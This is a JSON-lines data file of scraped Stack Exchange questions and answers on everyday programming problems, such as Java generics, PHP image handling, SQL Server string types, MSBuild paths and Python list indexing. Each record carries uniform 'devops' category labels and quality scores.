{"id": "hf_d062f12ec0a3", "question": "<p>Why do I get compiler errors with this Java code?</p>\n\n<pre><code>1  public List&lt;? extends Foo&gt; getFoos()\n2  {\n3    List&lt;? extends Foo&gt; foos = new ArrayList&lt;? extends Foo&gt;();\n4    foos.add(new SubFoo());\n5    return foos;\n6  }</code></pre>\n\n<p>Where 'SubFoo' is a concrete class that implements Foo, and Foo is an interface.</p>\n\n<p>Errors I get with this code:</p>\n\n<ul>\n<li>On Line 3: \"Cannot instantiate ArrayList&lt;? extends Foo&gt;\"</li>\n<li>On Line 4: \"The method add(capture#1-of ? extends Foo) in the type List&lt;capture#1-of ? extends Foo&gt; is not applicable for the arguments (SubFoo)\"</li>\n</ul>\n\n<p><b>Update:</b> Thanks to Jeff C, I can change Line 3 to say \"new ArrayList&lt;Foo&gt;();\".  But I'm still having the issue with Line 4.</p>\n", "question_body": "", "answer": "Use this instead:\n```\n```\n1  public List<? extends Foo> getFoos()\n2  {\n3    List<Foo> foos = new ArrayList<Foo>(); /* Or List<SubFoo> */\n4    foos.add(new SubFoo());\n5    return foos;\n6  }\n```\n```\nOnce you declare foos as\n```\nList<? extends Foo>\n```\n, the compiler doesn't know that it's safe to add a SubFoo. What if an\n```\nArrayList<AltFoo>\n```\nhad been assigned to\n```\nfoos\n```\n? That would be a valid assignment, but adding a SubFoo would pollute the collection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.844614"}
{"id": "hf_1798eabfc242", "question": "<p>Our system dynamically generates a large report by converting many HTML pages into a single PDF.  The resulting PDF is sent back (via the HTTP request) to the calling browser. When the report is sufficiently large (200+ pages) IE 7 intermittently chokes.  The result issue is the calling PC locks up and must be rebooted.  When using an alternative browser such as Mozilla Firefox (run on the same PC) executes the report, all works properly w/out any issues. </p>\n\n<p>Any ideas or workarounds (other than to tell the user to use Firefox)?</p>\n", "question_body": "", "answer": "I beleive there are a few ways you can do this:\n1)  Stream the pdf binary data to the browser and change the mime type so the browser handles it as pdf, or\n2)  Stream the pdf bindara data to the broswer using the \"attachment;file=\" header which will cause the browser to give you the option of opening or saving the file.\nThe second option may solve your problem with the intermittent choking of the browser, although it is not as seamless as the first option and may not be the exact behaviour you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.907882"}
{"id": "hf_b43045cbd30e", "question": "<p>I have a image upload form that should take image types (PNG, JPEG, GIF), resize it and then save it to a path. </p>\n\n<p>For some reason I can't get the PNG file types to work, it works fine with JPEG/GIF and the file is copied so it looks like it's something to do with how I'm creating the PNG. </p>\n\n<p>Does PNG creation in PHP require different parameters or options?  Some sample code of lines that do image creation:</p>\n\n<pre><code>$src = imagecreatefrompng($uploadedfile);\nimagecreatetruecolor($newWidth,$newHeight)\nimagecopyresampled($tmp,$src,0,0,0,0,$newWidth,$newHeight,$width,$height);\nimagepng($tmp,$destinationPath.\"/\".$destinationFile,100);\n</code></pre>\n\n<p>The same commands work for JPG and GIF.</p>\n", "question_body": "", "answer": "You need to look how your PHP is built..   Eg:\n```\n```\nGD Support  enabled\nGD Version  bundled (2.0.28 compatible) \nPNG Support     enabled\n```\n```\nIf you don't have PNG support compiled in, you'll need to have that updated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:49.957710"}
{"id": "hf_ec4d532305a2", "question": "<p>What is meant by <code>nvarchar</code>?</p>\n\n<p>What is the difference between <code>char</code>, <code>nchar</code>, <code>varchar</code>, and <code>nvarchar</code> in SQL Server?</p>\n", "question_body": "", "answer": "nchar and char pretty much operate in exactly the same way as each other, as do nvarchar and varchar. The only difference between them is that nchar/nvarchar store Unicode characters (essential if you require the use of extended character sets) whilst varchar does not.\nBecause Unicode characters require more storage, nchar/nvarchar fields take up twice as much space (so for example in earlier versions of SQL Server the maximum size of an nvarchar field is 4000).\nThis question is a duplicate of\nthis one\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.023144"}
{"id": "hf_bf9bb51ac72e", "question": "<p>In the Google C++ Style Guide, there's a section on <a href=\"http://google-styleguide.googlecode.com/svn/trunk/cppguide.xml#Operator_Overloading\" rel=\"noreferrer\">Operator Overloading</a> that has a curious statement:</p>\n\n<blockquote>\n  <p>Overloading also has surprising\n  ramifications. For instance, you can't\n  forward declare classes that overload\n  <code>operator&amp;</code>.</p>\n</blockquote>\n\n<p>This seems incorrect, and I haven't been able to find any code that causes GCC to have a problem with it. Does anyone know what that statement is referring to?</p>\n", "question_body": "", "answer": "Edited to account for comments:\nThis is a guess, but one of the main reasons to forward declare is to be able to declare pointers to that class.  The compiler has to make assumptions about the class before having the definition - for example, the size of pointers.\nIs it possible to change the size of T* by overloading operator& for a T? (EDIT: Commentors -- and I think not) -- but\nWhat assumption is violated by overloading operator& -- how does it change the class?\nHere is one way.\nI could write:\n```\n```\nclass A;\n\nvoid f(A& x) {\n    A* xPointer = &x;\n}\n```\n```\nThat has a new meaning if operator&() is overloaded than if not, and the compiler may think it can generate code for it, but it would be wrong.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.099309"}
{"id": "hf_dacbadefac7f", "question": "<p>I'm writing an article about editing pages in order to hand pick what you really want to print. There are many tools (like \"Print What you like\") but I also found this script. Anyone knows anything about it? I haven't found any kind of documentation or references.</p>\n\n<pre><code>javascript:document.body.contentEditable='true'; document.designMode='on'; void 0\n</code></pre>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "document.designMode is supported in IE 4+ (which started it apparently) and FireFox 1.3+.\nYou turn it on and you can edit the content right in the browser, it's pretty trippy.\nI've never used it before but it sounds like it would be pretty perfect for hand picking printable information.\nEdited to say:  It also appears to work in Google Chrome.  I've only tested it in Chrome and Firefox, as those are the browsers in which I have a javascript console, so I can't guarantee it works in Internet Explorer as I've never personally used it.  My understanding is that this was an IE-only property that the other browsers picked up and isn't currently in any standards, so I'd be surprised if Firefox and Chrome support it but IE stopped.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.165060"}
{"id": "hf_ea82f1f14f35", "question": "<p>I run into this quite often where a new page is supposedly \"tested\" and ready to go. But as soon as I change the page from http to https (secure) mode I get the \"This page contains both secure and nonsecure items.\" error.</p>\n\n<p>Usually I can find the problem and fix it pretty quick. Today is different. I've checked every image reference and every javascript reference and their source and haven't found anything that should be causing this error.</p>\n\n<p>Are there any developer tools or techniques that can point out specifically what is causing this error?</p>\n", "question_body": "", "answer": "If you're in Firefox you can use Tools -> Page Info -> Media, then just scan down the list to find the non-https link. There might also be JavaScript building dynamic\n```\n<script>\n```\ntags, or CSS including non-secure elements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.190583"}
{"id": "hf_1979d3f988f6", "question": "<p>VBA solutions can vary widely in size.  </p>\n\n<p>I would like to add <strong>user help</strong> documentation to all solutions but the level of effort to create and deploy the <strong>help</strong> needs to match the size of the solution.</p>\n", "question_body": "", "answer": "You should check the\nVBA version of MZ-Tools\n. It is an add-in for VBA that can automatically generate documentation from your code (function name, parameters, comments, subject, etc.). You can also use it to automatically generate line numbers, onError labels, etc. More on the automatic documenting feature can be found\nhere\n.\nIt is free, easy, and very efficient. Once you notice how much you save time by using it, please do like me: donate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.240155"}
{"id": "hf_d85a54ba3f17", "question": "<p>What's the best way to perform a deep copy in the constructor of an object that is part of multi-threaded C++ code?</p>\n", "question_body": "", "answer": "My first impulse (I'm not an expert):\nHave a lock on that object that the code uses for writing to it. When you're deep copying, lock the object, perform your deep copy, and then unlock it.\nOr, am I missing something here?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.264695"}
{"id": "hf_c9d3777079ae", "question": "<p>What is the easiest way to do this? Is it possible with managed code?</p>\n", "question_body": "", "answer": "```\n```\nthis.BackgroundImage = //Image\nthis.FormBorderStyle = FormBorderStyle.None;\nthis.Width = this.BackgroundImage.Width;\nthis.Height = this.BackgroundImage.Height;\nthis.TransparencyKey = Color.FromArgb(0, 255, 0); //Contrast Color\n```\n```\nThis allows you to create a form based on an image, and use transparency index to make it seem as though the form is not rectangular.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.327172"}
{"id": "hf_f0ac625fa35f", "question": "<p>I'm writing a .NET forms control to edit HTML using MSHTML.  I am creating some custom elements and want to make them effectively read-only.  I thought I could go about this by focusing on the entire element any time focus entered anywhere in that element but the HtmlElement.Focus() doesn't select the entire element and I don't seem to be able to capture entry of the cursor.</p>\n\n<p>Another option would be to raise an event whenever the text of the element is changed (on KeyDown I expect) but I can't get that event to fire, either.  Any ideas about why my expectations about event behavior is wrong or alternate suggestions for implementation?</p>\n", "question_body": "", "answer": "In case you are trying to apply readonly behavior to an User Input control, you can try using @readonly attribute of that control. Otherwise you could also add event listeners for appropriate UI events (keydown, mousedown) and prevent their default behavior (return false, or event.returnValue = false). As for custom events dispatch, you can indeed do that. Use event name that is known to IE. And another hint could be: register an onchange event handler and revert value of control to the value of defaultValue (property of any input controls).\nHope some of ideas will help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.364248"}
{"id": "hf_e6fd2133acac", "question": "<p>I have a VB6 project in Visual Source Safe 6.0. When I open the project I want to Check Out (Get) all the files in the project so that I can edit them.</p>\n\n<p>I have the VSS Options (within VB6) set to act on the Project recursively, but when I check out the project.vbp it only checks out the project file, not all the modules, etc.  Those files all remain write protected until I individually check out each one.</p>\n", "question_body": "", "answer": "SOLUTION\n: Select the\nProject.vbp\nand, from the Tool>SourceSafe menu choose Check Out, you get a dialog which lets you choose ALL files (you get a checkbox for each and a button for Select All).\nWhy I had problems\nFor some reason, if you\nright-click\non the Project in the Project tree and choose Check Out it doesn't give you that dialog. It just checks out the Project file. (However, if you do the same thing and Check In, it gives you the dialog with the checkboxes for each file. I guess that that point it\nknows\nthat you have more than one file to check in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.499671"}
{"id": "hf_5817a9c391f7", "question": "<p>I have an ASP.NET linkbutton control on my form. I would like to use it for javascript on the client side and prevent it from posting back to the server. (I'd like to use the linkbutton control so I can skin it and disable it in some cases, so a straight up  tag is not preferred).</p>\n\n<p>How do I prevent it from posting back to the server?</p>\n", "question_body": "", "answer": "In C#, you'd do something like this:\n```\n```\nMyButton.Attributes.Add(\"onclick\", \"put your javascript here including... return false;\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.524017"}
{"id": "hf_3b86389c02a5", "question": "<p>I have taken a copy of a database home with me so I can do some testing. However when I try to run a stored procedure I get Cannot open user default database. Login failed.. </p>\n\n<p>I have checked and checked and checked I can open tables in the databases login to sql management studio and access the default as well as other databases any ideas?</p>\n\n<p>Possibly a corrupt user it was from sql 2000 at work to 2005 at home</p>\n", "question_body": "", "answer": "EDIT:\nMine was from 2005 to 2005. Not sure if this will work for your case...\nI had a similar problem. For me, when I detach or create a back up and then re-create the database, it will loose connection to users. User I've been using is still there under Login but it would fail to log in.\nIn my case, I was able to log in by deleting the User under the database -> security -> users, not the user that's in the root sql server users list.\nThen go to root users list and reassign database mapping or create user if not exists.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.583489"}
{"id": "hf_87274b034218", "question": "<p>In a static view, how can I view an old version of a file?</p>\n\n<p>Given an empty file (called <code>empty</code> in this example) I can subvert <code>diff</code> to show me the old version:</p>\n\n<pre>\n    % cleartool diff -ser empty File@@/main/28\n</pre>\n\n<p>This feels like a pretty ugly hack. Have I missed a more basic command? Is there a neater way to do this?</p>\n\n<p>(I don't want to edit the config spec - that's pretty tedious, and I'm trying to look at a bunch of old versions.)</p>\n\n<p><strong>Clarification</strong>: I want to send the version of the file to stdout, so I can use it with the rest of Unix (grep, sed, and so on.) If you found this question because you're looking for a way to save a version of an element to a file, see <a href=\"https://stackoverflow.com/questions/176858/in-clearcase-how-can-i-view-old-version-of-a-file-in-a-static-view-from-the-com/4962643#4962643\">Brian's answer</a>.</p>\n", "question_body": "", "answer": "[ Rewritten based on the first comment ]\nAll files in Clearcase, including versions, are available in the virtual directory structure. I don't have a lot of familiarity with static views, but I believe they still go through a virtual fs; they just get updated differently.\nIn that case, you can just do:\n```\n```\ncat File@@/main/28\n```\n```\nIt can get ugly if you also have to find the right version of a directory that contained that file element. We have a PERL script at work that uses this approach to analyze historical changes made to files, and we quickly ran out of command-line space on Windows to actually run the commands!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.644410"}
{"id": "hf_4cc344181dbc", "question": "<p>What is the best way to convert existing jar (without source) written in java 1.5 into java 1.4.x?</p>\n", "question_body": "", "answer": "You could decompile it, then recompile. You'll probably have to fix incompatibilities by hand. Here's a thread on java\ndecompilers\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.669006"}
{"id": "hf_da00ae782e31", "question": "<p>How do I run a .jar executable java file from outside NetBeans IDE? (Windows Vista).  My project has a .jar file created by Netbeans.  We'd like to run it.  Either: how do we run the file or how do we create a 'proper' executable file in NetBeans 6.1?</p>\n", "question_body": "", "answer": "Running a jar is as simple as\n```\n```\njava -jar filename.jar\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.702003"}
{"id": "hf_5fc68ad9f225", "question": "<p>When I want an array of flags it has typically pained me to use an entire byte (or word) to store each one, as would be the result if I made an array of <code>bool</code>s or some other numeric type that could be set to 0 or 1. But now I wonder whether using a structure that is more space-efficient is worth it given the (albeit hopefully very slight) additional overhead of shifting and bit testing.</p>\n\n<p>In my company we use Rogue Wave tools (though hopefully not for much longer) and it's their <code>RWBitVec</code> that I've used for this purpose up until now.</p>\n", "question_body": "", "answer": "It's mostly about saving memory.  If your array of bools is large enough that a 8x improvement on storage space is meaningful, then by all means, use a bitarray.\nNote that the memory access is pretty expensive compared to the shift/and, so the bitarray approach is slightly faster than the array-of-chars.  Basically it comes down to memory versus programmer time.  Remember that premature optimization is a waste of time.  I'd use whichever approach is the easiest to develop, and then refactor only after it shows that it's a primary performance bottleneck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.721918"}
{"id": "hf_28638293ca0a", "question": "<p>Given a list <code>[&quot;foo&quot;, &quot;bar&quot;, &quot;baz&quot;]</code> and an item in the list <code>&quot;bar&quot;</code>, how do I get its index <code>1</code>?</p>\n", "question_body": "", "answer": "```\n```\n>>> [\"foo\", \"bar\", \"baz\"].index(\"bar\")\n1\n```\n```\nReference:\nData Structures > More on Lists\nCaveats follow\nNote that while this is perhaps the cleanest way to answer the question\nas asked\n,\n```\nindex\n```\nis a rather weak component of the\n```\nlist\n```\nAPI, and I can't remember the last time I used it in anger. It's been pointed out to me in the comments that because this answer is heavily referenced, it should be made more complete. Some caveats about\n```\nlist.index\n```\nfollow. It is probably worth initially taking a look at the documentation for it:\n```\n```\nlist.index(x[, start[, end]])\n```\n```\nReturn zero-based index in the list of the first item whose value is equal to\nx\n. Raises a\n```\nValueError\n```\nif there is no such item.\nThe optional arguments\nstart\nand\nend\nare interpreted as in the\nslice notation\nand are used to limit the search to a particular subsequence of the list. The returned index is computed relative to the beginning of the full sequence rather than the start argument.\nLinear time-complexity in list length\nAn\n```\nindex\n```\ncall checks every element of the list in order, until it finds a match. If your list is long, and you don't know roughly where in the list it occurs, this search could become a bottleneck. In that case, you should consider a different data structure. Note that if you know roughly where to find the match, you can give\n```\nindex\n```\na hint. For instance, in this snippet,\n```\nl.index(999_999, 999_990, 1_000_000)\n```\nis roughly five orders of magnitude faster than straight\n```\nl.index(999_999)\n```\n, because the former only has to search 10 entries, while the latter searches a million:\n```\n```\n>>> import timeit\n>>> timeit.timeit('l.index(999_999)', setup='l = list(range(0, 1_000_000))', number=1000)\n9.356267921015387\n>>> timeit.timeit('l.index(999_999, 999_990, 1_000_000)', setup='l = list(range(0, 1_000_000))', number=1000)\n0.0004404920036904514\n```\n```\nOnly returns the index of the\nfirst match\nto its argument\nA call to\n```\nindex\n```\nsearches through the list in order until it finds a match, and\nstops there.\nIf you expect to need indices of more matches, you should use a list comprehension, or generator expression.\n```\n```\n>>> [1, 1].index(1)\n0\n>>> [i for i, e in enumerate([1, 2, 1]) if e == 1]\n[0, 2]\n>>> g = (i for i, e in enumerate([1, 2, 1]) if e == 1)\n>>> next(g)\n0\n>>> next(g)\n2\n```\n```\nMost places where I once would have used\n```\nindex\n```\n, I now use a list comprehension or generator expression because they're more generalizable. So if you're considering reaching for\n```\nindex\n```\n, take a look at these excellent Python features.\nThrows if element not present in list\nA call to\n```\nindex\n```\nresults in a\n```\nValueError\n```\nif the item's not present.\n```\n```\n>>> [1, 1].index(2)\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\nValueError: 2 is not in list\n```\n```\nIf the item might not be present in the list, you should either\nCheck for it first with\n```\nitem in my_list\n```\n(clean, readable approach), or\nWrap the\n```\nindex\n```\ncall in a\n```\ntry/except\n```\nblock which catches\n```\nValueError\n```\n(probably faster, at least when the list to search is long, and the item is usually present.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.757444"}
{"id": "hf_404f7441b3a0", "question": "<p>How can I get MSBuild to evaluate and print in a <code>&lt;Message /&gt;</code> task an absolute path given a relative path?</p>\n\n<p><strong>Property Group</strong></p>\n\n<pre><code>&lt;Source_Dir&gt;..\\..\\..\\Public\\Server\\&lt;/Source_Dir&gt;\n&lt;Program_Dir&gt;c:\\Program Files (x86)\\Program\\&lt;/Program_Dir&gt;\n</code></pre>\n\n<p><strong>Task</strong></p>\n\n<pre><code>&lt;Message Importance=\"low\" Text=\"Copying '$(Source_Dir.FullPath)' to '$(Program_Dir)'\" /&gt;\n</code></pre>\n\n<p><strong>Output</strong></p>\n\n<blockquote>\n  <p>Copying '' to 'c:\\Program Files (x86)\\Program\\'</p>\n</blockquote>\n", "question_body": "", "answer": "Wayne is correct that well-known metadata does not apply to properties - only to items. Using properties such as \"MSBuildProjectDirectory\" will work, but I'm not aware of a built in way to resolve the full path.\nAnother option is to write a simple, custom task that will take a relative path and spit out the fully-resolved path. It would look something like this:\n```\n```\npublic class ResolveRelativePath : Task\n{\n    [Required]\n    public string RelativePath { get; set; }\n\n    [Output]\n    public string FullPath { get; private set; }\n\n    public override bool Execute()\n    {\n        try\n        {\n            DirectoryInfo dirInfo = new DirectoryInfo(RelativePath);\n            FullPath = dirInfo.FullName;\n        }\n        catch (Exception ex)\n        {\n            Log.LogErrorFromException(ex);\n        }\n        return !Log.HasLoggedErrors;\n    }\n}\n```\n```\nAnd your MSBuild lines would look something like:\n```\n```\n<PropertyGroup>\n    <TaskAssembly>D:\\BuildTasks\\Build.Tasks.dll</TaskAssembly>\n    <Source_Dir>..\\..\\..\\Public\\Server\\</Source_Dir>\n    <Program_Dir>c:\\Program Files (x86)\\Program\\</Program_Dir>\n</PropertyGroup>\n<UsingTask AssemblyFile=\"$(TaskAssembly)\" TaskName=\"ResolveRelativePath\" />\n\n<Target Name=\"Default\">\n    <ResolveRelativePath RelativePath=\"$(Source_Dir)\">\n    <Output TaskParameter=\"FullPath\" PropertyName=\"_FullPath\" />\n    </ResolveRelativePath>\n    <Message Importance=\"low\" Text=\"Copying '$(_FullPath)' to '$(Program_Dir)'\" />\n</Target>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.800498"}
{"id": "hf_dae7f92727c7", "question": "<p>I've been looking for the answer for how to use BSWAP for lower 32-bit sub-register of 64-bit register. For example, <code>0x0123456789abcdef</code> is inside RAX register, and I want to change it to <code>0x01234567efcdab89</code> with a single instruction (because of performance).</p>\n\n<p>So I tried following inline function:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#define BSWAP(T) {  \\\n    __asm__ __volatile__ (  \\\n            \"bswap %k0\" \\\n            : \"=q\" (T)  \\\n            : \"q\" (T)); \\\n}\n</code></pre>\n\n<p>And the result was <code>0x00000000efcdab89</code>. I don't understand why the compiler acts like this. Does anybody know the efficient solution?</p>\n", "question_body": "", "answer": "Check the assembly output generated by gcc!  Use the\n```\ngcc -s\n```\nflag to compile the code and generate asm output.\nIIRC, x86-64 uses 32-bit integers by default when not explicitly directed to do otherwise, so this may be (part of) the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.846654"}
{"id": "hf_f0634ff83db5", "question": "<p>OK I have an array of tserversocket and am using the tag property to keep track of its index. When an event is fired off such as _clientconnect i am using Index := (Sender as TServerSocket).Tag; but i get an error that highlights that line and tells me its an invalid typecast. What am I doing wrong if all I want to do is get the tag property field? It works with other objects.</p>\n", "question_body": "", "answer": "Are you sure Sender is the TServerSocket? Isn't the event defined like below:\n```\n```\nprocedure TfrmServer.sskServerClientConnect(Sender: TObject; Socket: TCustomWinSocket);\n```\n```\nIn which case your code probably should be:\n```\n```\nIndex := (Socket as TServerSocket).Tag;\n```\n```\nHave a look at\n```\nSender.ClassName\n```\nto see what Sender really is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.930502"}
{"id": "hf_3c0a0a9f11c9", "question": "<p>I am having an issue setting up cURL with IIS 6.0, Windows Server 2003, PHP 5.2.6</p>\n\n<p>I have installed to <code>C:\\PHP</code></p>\n\n<pre><code>set PHPRC = C:\\PHP\\php.ini\n</code></pre>\n\n<p>copied <code>ssleay32.dll</code> and <code>libeay32.dll</code> to <code>C:\\PHP</code></p>\n\n<p>in php.ini, uncommented the line</p>\n\n<pre><code>extension=php_curl.dll\n\nextension_dir=\"C:\\PHP\\ext\"\n</code></pre>\n\n<p><code>c:\\php\\ext</code> has the dll <code>php_curl.dll</code></p>\n\n<p><code>C:\\PHP</code> is in <code>PATH</code></p>\n\n<p>still getting </p>\n\n<blockquote>\n  <p>Fatal error: Call to undefined function curl_init()</p>\n</blockquote>\n", "question_body": "", "answer": "Make sure php_curl.dll is in the directory listed under \"extension_dir\" in php.ini.  If it is already, try restarting IIS (Apache always needs a restart from me when making php.ini changes).\nEDIT 1:\nTry opening up a command prompt to c:\\php and running:\n```\n```\nphp -c . -i | find /i \"curl\"\n```\n```\nDoes it come back with any output?  If so, IIS is using the wrong php.ini file.\nEDIT 2:\nIs c:\\php in your PATH?  You can check with \"echo %PATH%\" from the command prompt.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:50.961355"}
{"id": "hf_65d7a7c9c341", "question": "<p>I have a std::string with UTF-8 characters in it.<br>\nI want to convert the string to its closest equivalent with ASCII characters.</p>\n\n<p>For example:</p>\n\n<p>Łódź  =>  Lodz<br>\nAssunção  =>  Assuncao<br>\nSchloß  =>  Schloss</p>\n\n<p>Unfortunatly ICU library is realy unintuitive and I haven't found good documentation on its usage, so it would take me too much time to learn to use it. Time I dont have.</p>\n\n<p>Could someone give a little example about how can this be done??<br>\nthanks.</p>\n", "question_body": "", "answer": "I don't know about ICU but ICONV does this and its quite easy to learn. it's only about 3-4 calls and what you need in your case is to use the\n```\nICONV_SET_TRANSLITERATE\n```\nflag using\n```\niconvctl()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.056902"}
{"id": "hf_a2218a9c8549", "question": "<p>In particular, I am interested in:\n1) Getting up a <em>free</em> environment setup to do workflows.\n2) How to use existing workflow items/states and what is involved in that.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Are you looking for a virtual lab like this one from\nMSDN\n?\nFor some How Tos, try downloading\nHands-on Labs for Windows Workflow Foundation", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.092993"}
{"id": "hf_c21784520e14", "question": "<p>I was talking to somebody a recently who mentioned it was possible to store reports created using Crystal Reports as XML files.</p>\n\n<p>Upon Googling this, I can't find anything suggesting that this is the case (using <I>data</i> stored in XML in a report, yes, but actually storing the report, the part stored by default as a .rpt file, no.</p>\n\n<p>Am I correct in assuming that there was in fact some sort of misunderstanding between us and it in fact not possible to do this?</p>\n", "question_body": "", "answer": "At least in version 8.5 XML-file is one of the supported export destinations just like PDF, Excel or Word. Seems unlikely they'd have removed the support in later versions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.143858"}
{"id": "hf_707fb954a026", "question": "<p>How do I get the list of open file handles by process id in C#? </p>\n\n<p>I'm interested in digging down and getting the file names as well. </p>\n\n<p>Looking for the programmatic equivalent of what process explorer does. </p>\n\n<p>Most likely this will require interop. </p>\n\n<p>Considering adding a bounty on this, the implementation is nasty complicated.</p>\n", "question_body": "", "answer": "You can P/INVOKE into the\n```\nNtQuerySystemInformation\n```\nfunction to query for all handles and then go from there. This\nGoogle groups discussion\nhas details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:51.178577"}
